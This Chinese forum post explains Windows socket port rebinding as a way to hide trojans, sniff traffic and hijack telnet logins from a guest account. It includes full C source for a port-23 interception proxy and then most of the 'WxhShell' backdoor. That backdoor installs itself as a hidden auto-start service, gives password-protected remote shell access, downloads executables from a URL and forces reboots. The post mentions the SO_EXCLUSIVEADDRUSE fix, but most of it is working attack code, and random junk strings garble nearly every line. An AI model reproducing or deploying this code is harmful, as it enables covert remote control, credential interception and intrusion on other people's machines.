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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PSI5$Vna4p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dZIAotHN:  
+b.<bb6  
  saddr.sin_family = AF_INET; (LA%q6  
JaXT B"e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G`8gI)$u  
iP~5=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8t!(!<iF0  
#gMMh B=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #Bg88!-4  
&v Lz{  
  这意味着什么?意味着可以进行如下的攻击: f/~"_O%  
YxlV2hcX;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V'#dY~E-P  
_~&6Kb^*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *$Z}v&-0k  
9s6@AJf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 II3)Cz}xRG  
:@rE&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BDNn~aU#m  
#25Z,UU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6B)(kPW  
~.u}v~ F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9 #TzW9  
sNc(aGvy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B&Q\J>l9S  
!lKO|Y  
  #include %2f``48#  
  #include R5g -b2Lm  
  #include *&q\)\(3w  
  #include    WM.JoQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jA$g0>  
  int main() KiT>W~  
  { ,a eQXI#@  
  WORD wVersionRequested; Gi~p-OS,  
  DWORD ret; 2qo=ud  
  WSADATA wsaData; b4Br!PL@G  
  BOOL val; h$)(-_c3  
  SOCKADDR_IN saddr; ah1d0e P  
  SOCKADDR_IN scaddr; <|c n Qj*  
  int err; mM!'~{r[-  
  SOCKET s; x9Fga_  
  SOCKET sc; g34<0%6jd  
  int caddsize;  U":hJ*F)  
  HANDLE mt; l~;H~h!h/  
  DWORD tid;   t 9&xk?%{  
  wVersionRequested = MAKEWORD( 2, 2 ); ((Ak/qz  
  err = WSAStartup( wVersionRequested, &wsaData ); "^F#oo%L  
  if ( err != 0 ) { NeAkJG=<  
  printf("error!WSAStartup failed!\n"); svCD&~|K#  
  return -1; Y (x_bJ  
  } U&yXs'3a&  
  saddr.sin_family = AF_INET; .+MJ' bW  
   QG*=N {% 5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'A;G[(SYy  
`uM:>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CnSfGsE>  
  saddr.sin_port = htons(23); XE* @*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {YC!pDG  
  { |iKk'Rta4  
  printf("error!socket failed!\n"); >A5R  
  return -1; %@#+Xpa+  
  } `E+)e?z  
  val = TRUE; f uQbDb&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lT#&\JQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ."&,_F  
  { id<i|  
  printf("error!setsockopt failed!\n"); SNV~;@(h  
  return -1; )Fx"S.Ok  
  } 7zXFQ|TP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v#0F1a?]D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8^\}\@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :i_818h!?[  
4e~^G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l9KL P  
  { wwrP7T+d  
  ret=GetLastError(); Se<]g$eK?5  
  printf("error!bind failed!\n"); jWJq[l  
  return -1; 0<_|K>5dS|  
  } $3<,"&;Ecs  
  listen(s,2); 6w(Mb~[n  
  while(1) w`=_|4wFw  
  { rt%?K.S/  
  caddsize = sizeof(scaddr); Ko_Sx.  
  //接受连接请求 '?=SnjMX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^!^6 |[  
  if(sc!=INVALID_SOCKET) BZq_om6  
  { 0T7(c-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ! Ob  
  if(mt==NULL) %a=K:" oU[  
  { >}Qj|05G  
  printf("Thread Creat Failed!\n"); ^]l^q'?>:  
  break; PPk\W7G  
  } <~;;iM6  
  } '{dduHo  
  CloseHandle(mt); %E#OUo[y/  
  } .Uq?SmK  
  closesocket(s); b~X^vXIv%%  
  WSACleanup(); e8g"QDc  
  return 0; Lh3>xZy"-z  
  }   E .^5N~.  
  DWORD WINAPI ClientThread(LPVOID lpParam) f2Zi.?``H  
  { 28FC@&'H  
  SOCKET ss = (SOCKET)lpParam; cKuU#&FaV  
  SOCKET sc; kR$>G2$!  
  unsigned char buf[4096]; !+T\}1f7d  
  SOCKADDR_IN saddr; OLh`R]Sd  
  long num; |$"2R3  
  DWORD val; n X4R  
  DWORD ret; S$J}>a#Ry  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $* 1?"$LN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RapHE; <  
  saddr.sin_family = AF_INET; F}3<q   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !`=ms1%U  
  saddr.sin_port = htons(23); 9rXbv4{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >2h|$6iWP  
  { 0q'd }DW  
  printf("error!socket failed!\n"); L[l ?}\  
  return -1; uo0g51%9  
  } ,: g.B\'Q  
  val = 100; $$ %4,\{l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y_O[r1MF  
  { 5tPBTS<<"L  
  ret = GetLastError(); K$OxeJP?F  
  return -1; -c-af%xD  
  } .K`OEdr<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wKF #8Y  
  { - s[=$pDU  
  ret = GetLastError(); piYv }4;:(  
  return -1; OQzJRu)mF#  
  } F*V<L   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <!b~7sZkTc  
  { }$M 2XF  
  printf("error!socket connect failed!\n"); q/y4HT,x  
  closesocket(sc); MuNM)pyxp  
  closesocket(ss); 5`qt82Qm  
  return -1; ,XT#V\qne  
  } nk.Y#+1)  
  while(1) A4LGF  
  { Z$ qFjWp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3t<XbHF9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U'^AJ2L8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q'-V\G)11  
  num = recv(ss,buf,4096,0); VBc[(8o  
  if(num>0) eduaG,+k7p  
  send(sc,buf,num,0); \#4??@+Xf  
  else if(num==0) z_%G{H+:l  
  break; 6k6M&a  
  num = recv(sc,buf,4096,0); / hUuQDJ  
  if(num>0) 5G.Fi21 b  
  send(ss,buf,num,0); Bz}Dgbb  
  else if(num==0) fw>@:m_bK  
  break; !iKR~&UpAL  
  } DxjD/? R8  
  closesocket(ss); JQ{ g' cT  
  closesocket(sc); ,w~0U  
  return 0 ; rM<lPMr1*  
  } mk>L:+  
-H1mKZDPP  
2p\CCzw  
========================================================== ~wnTl[:  
&gJKJ=7  
下边附上一个代码,,WXhSHELL #Mo`l/Cwp  
n8(B%KF  
========================================================== p7(Pymkd  
'\%c"?  
#include "stdafx.h" V:F;Nq%+j  
 w0QN5?  
#include <stdio.h> e&[gde(  
#include <string.h> qW]gp7jK4  
#include <windows.h> ;\`~M  
#include <winsock2.h> Enee\!@v  
#include <winsvc.h> ~;St,Fw<<  
#include <urlmon.h> +EJwWDJ!%  
+|.}oL^}G  
#pragma comment (lib, "Ws2_32.lib") !_GY\@}  
#pragma comment (lib, "urlmon.lib") 4)D#kP  
?wE@9 g A  
#define MAX_USER   100 // 最大客户端连接数 Zu(eYH=Q  
#define BUF_SOCK   200 // sock buffer 8@%Xd^  
#define KEY_BUFF   255 // 输入 buffer j,Sg?&"%=  
[c4.E"  
#define REBOOT     0   // 重启 :V2"<]  
#define SHUTDOWN   1   // 关机 `-zdjc d  
1xK'1g72  
#define DEF_PORT   5000 // 监听端口 xt]Z{:.  
SQ#6~zxl  
#define REG_LEN     16   // 注册表键长度 YwGc[9=n  
#define SVC_LEN     80   // NT服务名长度 r\]yq -_  
NfLvK o8  
// 从dll定义API l,uYp"F,ps  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M0!;{1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +3.Ik,Z}zq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N[ 4v6GS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }HS:3Dt  
kg[u@LgvoN  
// wxhshell配置信息 Ke[doQ#c  
struct WSCFG { .(o]d{ '-}  
  int ws_port;         // 监听端口 Li ,B,   
  char ws_passstr[REG_LEN]; // 口令  f])?Gw  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1lyJ;6i6L  
  char ws_regname[REG_LEN]; // 注册表键名 ^q6H =Dl  
  char ws_svcname[REG_LEN]; // 服务名 OJE<2:K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :PtpIVAosg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hh @q;0ni  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K%LDOVE8e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H e]1 <tx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E/cA6*E[.<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 70_T;K6  
CCKg,v  
}; WtI1h`Fo  
>Bp%~8f  
// default Wxhshell configuration xO'I*)  
struct WSCFG wscfg={DEF_PORT, ~45u a  
    "xuhuanlingzhe", E#"QaI8`  
    1, \C.%S +u  
    "Wxhshell", 1A^iUC5)  
    "Wxhshell", 9dA(f~  
            "WxhShell Service", .lu:S;JSnS  
    "Wrsky Windows CmdShell Service", Rde_I`Ru  
    "Please Input Your Password: ", >4TJH lB}8  
  1, FzmCS@yA  
  "http://www.wrsky.com/wxhshell.exe",  k*|dX.C:  
  "Wxhshell.exe" 2rHw5Wn]~  
    }; Wu)ATs}  
Sp)KtMV  
// 消息定义模块 O;M_?^'W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #oMbE<//"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 992;~lBu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aKs!*uo0H  
char *msg_ws_ext="\n\rExit."; FtN1ZZ"<*  
char *msg_ws_end="\n\rQuit."; []Cvma 1\  
char *msg_ws_boot="\n\rReboot..."; 6h>8^l  
char *msg_ws_poff="\n\rShutdown..."; TRz~rW k  
char *msg_ws_down="\n\rSave to "; 3(P^PP8  
475yX-A  
char *msg_ws_err="\n\rErr!"; &QE^i%6>\  
char *msg_ws_ok="\n\rOK!"; ';V(sRU@  
I^Ichn  
char ExeFile[MAX_PATH]; vZ 4Z+;.  
int nUser = 0; 4zghM<  
HANDLE handles[MAX_USER]; jIE>t5 fy  
int OsIsNt; k Fv\V   
=1^a/  
SERVICE_STATUS       serviceStatus; ih `/1n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #%VprcEK  
T Uhp  
// 函数声明 (Br$(XJoK}  
int Install(void); `.;7O27A^%  
int Uninstall(void); DHpU?;|3  
int DownloadFile(char *sURL, SOCKET wsh); m6V1m0M  
int Boot(int flag); zQ{ Q>"-  
void HideProc(void); HKOJkbVZ2^  
int GetOsVer(void); u MzefRN  
int Wxhshell(SOCKET wsl); nWFp$tJ/R  
void TalkWithClient(void *cs); mMN oR]  
int CmdShell(SOCKET sock); :^%s oEi  
int StartFromService(void); I-/PzL<W P  
int StartWxhshell(LPSTR lpCmdLine); y=h2_jt  
/l(:H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q,nj|9z V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gEKJrAA  
"]c:V4S#`A  
// 数据结构和表定义 S-2xe?sb  
SERVICE_TABLE_ENTRY DispatchTable[] = ?[!.TU?4N  
{ ) 2S0OY.  
{wscfg.ws_svcname, NTServiceMain}, ""pJO 6bI  
{NULL, NULL} 4n3QW%#  
}; 2IjqT L  
hN\E8"To  
// 自我安装 tB(Q-c  
int Install(void) !c6 lP'U  
{ VPN@q<BV  
  char svExeFile[MAX_PATH]; 7/Lbs  
  HKEY key; czMLvPXRx  
  strcpy(svExeFile,ExeFile); qgZ(o@\  
!YJdi~q  
// 如果是win9x系统,修改注册表设为自启动 AX'(xb,  
if(!OsIsNt) { 7h&xfrSrD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { twgU ru  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0?p_|X'_  
  RegCloseKey(key); Y2<#%@%4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ULU ]k#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d0-}Xl  
  RegCloseKey(key); pbqa  
  return 0; =1yUH9\,b  
    } BOwkC;Q[  
  } )>\Ne~%  
} ,?&hqM\  
else { 00;=6q]TA  
{g/\5Z\b  
// 如果是NT以上系统,安装为系统服务 `dL9sfj>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E/U1g4S  
if (schSCManager!=0) t:=Ui/!q  
{ Mqc[IAcd]  
  SC_HANDLE schService = CreateService 9!9 Gpi  
  ( f7s]:n*Ih  
  schSCManager, gEi" m5po  
  wscfg.ws_svcname, q,:\i+>K*  
  wscfg.ws_svcdisp, 9,y&?GLP  
  SERVICE_ALL_ACCESS, 42m`7uQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8 6L&u:o:  
  SERVICE_AUTO_START, h)y"?Jj  
  SERVICE_ERROR_NORMAL, _^a.kF  
  svExeFile, m@zxjIwT  
  NULL, ^S<Z'S  
  NULL, 8kMMQES  
  NULL, y|MW-|0=!  
  NULL, t4gD*j6J3  
  NULL Mm6 (Q  
  ); 7FMHz.ZRE  
  if (schService!=0) 4uNcp0  
  { k ,<L#?,a  
  CloseServiceHandle(schService); 0.@/I}R[  
  CloseServiceHandle(schSCManager); H[>_LYZ8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }Bc6:a  
  strcat(svExeFile,wscfg.ws_svcname); -CL7^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '|FM|0~-J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MH !CzV&  
  RegCloseKey(key); .7) A8R7Wt  
  return 0; r ,b  
    } /u #9M {  
  } B1LnuB%  
  CloseServiceHandle(schSCManager); 8|d[45*q  
} l,v:[N  
} QT|mN  
CS"p[-0  
return 1; &UzZE17R  
} ! prU!5-  
dvL'>'g  
// 自我卸载 C62<pLJf  
int Uninstall(void) .Zwn{SMtu  
{ Np/[MC  
  HKEY key; iOJgZuP  
pnqjAT GU  
if(!OsIsNt) { &rNXn?>b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I) Y$?"  
  RegDeleteValue(key,wscfg.ws_regname); |Zt=8}di  
  RegCloseKey(key); jM7}LV1Ck  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W B!$qie\  
  RegDeleteValue(key,wscfg.ws_regname); (yXVp2k  
  RegCloseKey(key); N`zHe*=[~  
  return 0; g:2/!tujL  
  } mB1)!  
} "n8_Ag@r  
} ;l`8w3fDt  
else { ~Yr.0i.W  
(> 8fcQUBb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EI_J7J+  
if (schSCManager!=0) IsRsjhg8x  
{ @ym7hk.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SA/0Z=  
  if (schService!=0) ,U2D &{@  
  { w1KQ9H*  
  if(DeleteService(schService)!=0) { r} ,|kb  
  CloseServiceHandle(schService); {;-$;\D  
  CloseServiceHandle(schSCManager); RMvlA' c  
  return 0; 8wy"m=>=b}  
  } ]7VK&YfN  
  CloseServiceHandle(schService); /S;?M\  
  } =Wjm_Rvk9  
  CloseServiceHandle(schSCManager); >yWJk9h f  
} 9Q.j <  
} zc2,Mn2  
~P/G^cV3s  
return 1; qkBnEPWZy  
} #|e <l1F  
F;_;lRAb  
// 从指定url下载文件 #15q`w  
int DownloadFile(char *sURL, SOCKET wsh) >)5vsqGZaK  
{ ;J5oO$H+68  
  HRESULT hr; j2\G1@05  
char seps[]= "/"; K^> qn,]H'  
char *token; ,%jJ ,G,  
char *file; XSxya .1  
char myURL[MAX_PATH]; 3 (}?f  
char myFILE[MAX_PATH]; A5/h*`Q\\  
?_^9e  
strcpy(myURL,sURL); 5$#<z1M.&  
  token=strtok(myURL,seps); ZHF@k'vm/9  
  while(token!=NULL) T }8aj  
  { .K93VTzy  
    file=token; 0SDCo\  
  token=strtok(NULL,seps); AVJF[t,  
  } q OXL(  
m0#hG x  
GetCurrentDirectory(MAX_PATH,myFILE); w%ip"GT,  
strcat(myFILE, "\\"); ^Gyl:hN  
strcat(myFILE, file); %kUJ:lg;d  
  send(wsh,myFILE,strlen(myFILE),0); !*cf}<Kmw  
send(wsh,"...",3,0); },"g*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mb/3 #)  
  if(hr==S_OK) O^<6`ku  
return 0; P9'5=e@jB  
else <T}#>xHs3  
return 1; O:U@m@7  
\vT8 )\  
} m&%N4Q~X>  
m:^@AR1%d  
// 系统电源模块 Kr#=u~~M  
int Boot(int flag) 6%'{Cq1DE  
{ %sq=lW5R{b  
  HANDLE hToken; K)v(Z"  
  TOKEN_PRIVILEGES tkp; :{AN@zC0\  
4 '+)9&g  
  if(OsIsNt) { ~W#f,mf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $K iMu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *\`C! r  
    tkp.PrivilegeCount = 1; jsG9{/Ov3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  [:k'VXL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,S8Vfb &  
if(flag==REBOOT) { ysa"f+/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6RF01z|~_  
  return 0; ENmo^O#,u  
} e}?t[aK4#  
else { ~\/ J&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y#MLxm  
  return 0; a=J?[qrx  
} 0N}5sF  
  } s,}<5N]U  
  else { sDF J  
if(flag==REBOOT) { YU"Am !  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 226s:\d  
  return 0; \x+DEy'4;5  
} @<2pYIi 8  
else { *p-Fn$7\n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }Q%>Fv  
  return 0; L=p.@VSZ  
} kal8k-$#  
} s=$7lYX  
nqH^%/7)A@  
return 1; dOhV`8l  
} M{S7ia"s  
0{ ,zE  
// win9x进程隐藏模块 s%:fB(  
void HideProc(void) y >OZ<!`  
{ MPB6  
%,^7J;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <|8 l;  
  if ( hKernel != NULL ) }J*&()`  
  { ^4[\-L8Lpq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NqWHR~&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oY] VP+b!  
    FreeLibrary(hKernel); 7Y)wu$!7}  
  } ,VZ&Gc  
kgIWgk%  
return; <,GHy/u\  
} vBpg6 fX  
EK'&S=]  
// 获取操作系统版本 `~RV  
int GetOsVer(void) wx!*fy4hL  
{ V ;6M[ic}  
  OSVERSIONINFO winfo; ~L1O\V i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <H p"ZCN  
  GetVersionEx(&winfo); fH.W kAE1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "VeUOdNA>  
  return 1; d5%*^nMpY  
  else 1^;h:,e6  
  return 0; rEf\|x=st:  
} "tark'  
=6dKC_Q  
// 客户端句柄模块 xsvs3y|  
int Wxhshell(SOCKET wsl) 7L]?)2=  
{ Gh pd k;  
  SOCKET wsh; KCFwO'  
  struct sockaddr_in client; D 6]$P%t9  
  DWORD myID; %8tN$8P  
hK"=~\,  
  while(nUser<MAX_USER) lEDHx[q  
{ IX(yajc[~M  
  int nSize=sizeof(client); =, 0a3D6b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9e&#;6l  
  if(wsh==INVALID_SOCKET) return 1; F:g{rm[  
3azc`[hl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z]YhQIU4n8  
if(handles[nUser]==0) ob7_dWAG  
  closesocket(wsh); 'k67$H  
else s,v#lJ]d0W  
  nUser++; EVL;"   
  } /$z@_U [L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ##_Za6/n  
C]H <L#)ZU  
  return 0; v6VhXV6$|  
} i6CYD  
"6d bRo5%  
// 关闭 socket Zz-;jkX)  
void CloseIt(SOCKET wsh) @e,Zmx  
{ O}-7 V5  
closesocket(wsh); {|h"/   
nUser--; Mh|`XO.5I  
ExitThread(0); w3N%J>4_E  
} DRoxw24  
$te,\$&}  
// 客户端请求句柄 \i+h P1 mz  
void TalkWithClient(void *cs) ,m?D\Pru  
{ b1u'ukDP\  
F"H!CJJu&  
  SOCKET wsh=(SOCKET)cs; DG\YZV4  
  char pwd[SVC_LEN]; ])L'Rk#4  
  char cmd[KEY_BUFF]; N]}+F w\5  
char chr[1]; 5ecz'eA%  
int i,j; }tZAU\z  
N)*e^Nfb  
  while (nUser < MAX_USER) { +-\9'Q  
P` F'Nf2U  
if(wscfg.ws_passstr) { ?v8k& q^q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "V0:Lq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 !.8#A':  
  //ZeroMemory(pwd,KEY_BUFF); d-sh6q5  
      i=0; BznA)EK?@  
  while(i<SVC_LEN) { ebe@.ZVSi  
-l@W)?$  
  // 设置超时 b=U MoWS  
  fd_set FdRead; 4 .B*B3  
  struct timeval TimeOut; j2 ^T:q[  
  FD_ZERO(&FdRead); l&Ghs@>Kl  
  FD_SET(wsh,&FdRead); dO;vcgvb  
  TimeOut.tv_sec=8; xg^^@o  
  TimeOut.tv_usec=0; @%nUfG7TQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X9A[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |a$w;s>\  
Z{4aGp*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AdW2o|Uap  
  pwd=chr[0]; rOHW  
  if(chr[0]==0xd || chr[0]==0xa) { TQd FC\@f"  
  pwd=0; Q|KD/s??  
  break; &] F|U3  
  } Ju7C?)x  
  i++; $ cK B+}  
    } zZc@;S#  
Qz(T[H5%W  
  // 如果是非法用户,关闭 socket }!]x|zU.=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yO;C3q  
} ENWB|@B  
wV&f|JO0+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +7< >x-+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]MLLr'6?  
y6Epi|8  
while(1) { {dx /p-Tv  
(E}cA&{  
  ZeroMemory(cmd,KEY_BUFF); *.]E+MYi*  
:2)1vQH0L  
      // 自动支持客户端 telnet标准   6a?$=y  
  j=0; Gi2ad+QH-  
  while(j<KEY_BUFF) { Y0yO `W4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \seG2vw$  
  cmd[j]=chr[0]; Rfc&OV  
  if(chr[0]==0xa || chr[0]==0xd) { %Fg8l{H3  
  cmd[j]=0; ,e FQ}&^A  
  break; N%r L=zE  
  } 8H#c4%by)  
  j++; Owpg]p yVD  
    } ,PMb9 O\B  
B/D\gjb  
  // 下载文件 ,V]A63J  
  if(strstr(cmd,"http://")) { o+_/)c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bjPbl2K  
  if(DownloadFile(cmd,wsh)) IO!1|JMr6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )=E~CpKV  
  else NC.P 2^%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QYTTP6 Gz+  
  } yEUNkZ5^  
  else { PWk ?8dL-  
]6B mCh  
    switch(cmd[0]) { *Qg5Z   
  ZE8/ m")  
  // 帮助 &[ u6oAR  
  case '?': { X`3vSCn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B>|U-[A  
    break; Vo 6y8@\  
  } QI#*5zm  
  // 安装 |pH* CCA  
  case 'i': { { 0%TMiVf  
    if(Install()) ~0F9x9V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :#\B {)(  
    else (' Ko#3b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `$V[;ld(mz  
    break; du'}+rC  
    } CaYos;Pl  
  // 卸载 MLt'YW^  
  case 'r': { U+*oI*  
    if(Uninstall()) Z6R: rq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nGv23R(?G  
    else 2z.8rNwT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " _:iK]  
    break; +% XhQ  
    } Sj0 ucnuHi  
  // 显示 wxhshell 所在路径 <E[HlL  
  case 'p': {  ^%5~ ;  
    char svExeFile[MAX_PATH]; J+@MzkpK  
    strcpy(svExeFile,"\n\r"); 5X`w&(]m  
      strcat(svExeFile,ExeFile); +f X}O9  
        send(wsh,svExeFile,strlen(svExeFile),0); H-_^TB  
    break; D/S>w(=  
    } <84C tv  
  // 重启 5y%un  
  case 'b': { {b|3]_-/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yE.495  
    if(Boot(REBOOT)) )l#%.Z9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  :Hzz{'  
    else { CGd[3}"  
    closesocket(wsh); nIyROhZ  
    ExitThread(0); lrs0^@.+  
    } ;]gsJ9FK<  
